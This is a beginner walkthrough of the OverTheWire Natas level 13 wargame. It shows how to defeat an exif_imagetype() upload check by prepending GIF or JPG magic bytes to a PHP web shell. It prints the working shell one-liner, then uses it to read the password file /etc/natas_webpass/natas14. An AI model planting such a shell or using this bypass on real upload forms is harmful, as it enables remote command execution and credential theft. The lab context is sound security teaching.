OverTheWire Natas Level 13 Walkthrough

In previous posts, we’ve covered the first 12 levels of OverTheWire’s Natas wargame. This post covers level 13, and like the previous write-ups, is meant for beginners, with lots of links and screenshots to walk you through it.

What is Natas?

Natas is an online hacking game meant to help you learn and practice security concepts.

OverTheWire is a website with a number of “war games”, which are online hacking games that allow you to practice security concepts. If you are looking for a beginner introduction to web security (albeit an older tech stack), then Natas is a great place to start.

Natas is hosted on different subdomains following the pattern of http://natas<level#>.natas.labs.overthewire.org. As you progress through the levels, you’ll need to increment the level number in the URL in order to view the correct level.

Each level requires the levels below it to be solved, so you will need the level 13 flag found in level 12 to begin this walkthrough. As before, make sure you keep notes and write down the passwords as you find them!

Level 13 ➔ 14

If we look at http://natas13.natas.labs.overthewire.org/ and log in with username natas13 and the password from the previous writeup, we find that this level has more security than the previous level.

The page says they only accept image files from now on. Let’s take a look at the source code to see how that is implemented. The rest of the file is mostly the same, with the exception of the expanded image processing function. The highlighted line is the change we’re interested in:

It uses exif_imagetype() to check if the uploaded file is an image or not.

This PHP function reads the first few bytes of a file, sometimes known as “magic headers” to determine the file type. It won’t be fooled by just changing the file extension. If our file does not begin with the header bytes that indicate it actually is an image file, it will be rejected.

Exif_imagetype() bypass

Luckily, this is pretty easy to bypass. From the magic headers link above, we have a few different options, but it’s probably smart to stick with a more common filetype.

JPGs, for example, start with these headers:

And GIFs start with these headers:

Let’s go with GIF. That means we’ll want to prepend “GIF87a” to the start of our web shell. I’m using this same webshell from the last level:

<?php echo shell_exec($_GET['e'].' 2>&1'); ?>
shell.php

If we want to use the GIF87a "magic header" to make the website think we're uploading an image, the new file looks like this:

GIF87a<?php echo shell_exec($_GET['e'].' 2>&1'); ?>
new-shell.php

In this case, the bytes that make up the magic headers (47 49 46 38 37 61) are all in the ASCII-readable range. But what if we went with JPG and had to prepend the (ASCII-unreadable) characters FF D8 FF EE?

You have a few different options to do this:

  • You can a hex editor like Hex Fiend (Mac) to add the additional bytes, by copy/pasting the bytes into the hex side of the editor.
  • Or you can use the command line: (echo -n -e '\xff\xd8\xff\xee'; cat shell.php) > shell.php
  • Or you can use a script like this.

Uploading our web shell

Now that we have the prepended magic bytes, we can upload the file.

When we do so, the website tries to change the file extension on us, since we told it that it's a GIF, JPG, etc via the magic headers.

To keep the .php file extension, we will need to open up Dev Tools, double click the hidden file name, and change the file extension back:

Click Upload File, and voila, we’ve got our file uploaded:

If we open up the file, we see that there’s a GIF89a string at the beginning from our exif_imagetype() bypass.

We’re getting an error message because it’s expecting a query value and isn’t getting one. If we provide ?e=ls on the end of the URL as a query string, we see the other web shells in this directory:

Natas Level 13 Solution

As with the last level, the flag turns out to be in /etc/natas_webpass/natas14 again. If we supply an input of ?e=cat /etc/natas_webpass/natas14 to our webshell, we get the flag:

Remember that GIF89a is prepended to our output, so the flag begins at Lg96...

Takeaway: checking exif types can be an easily bypassable filter.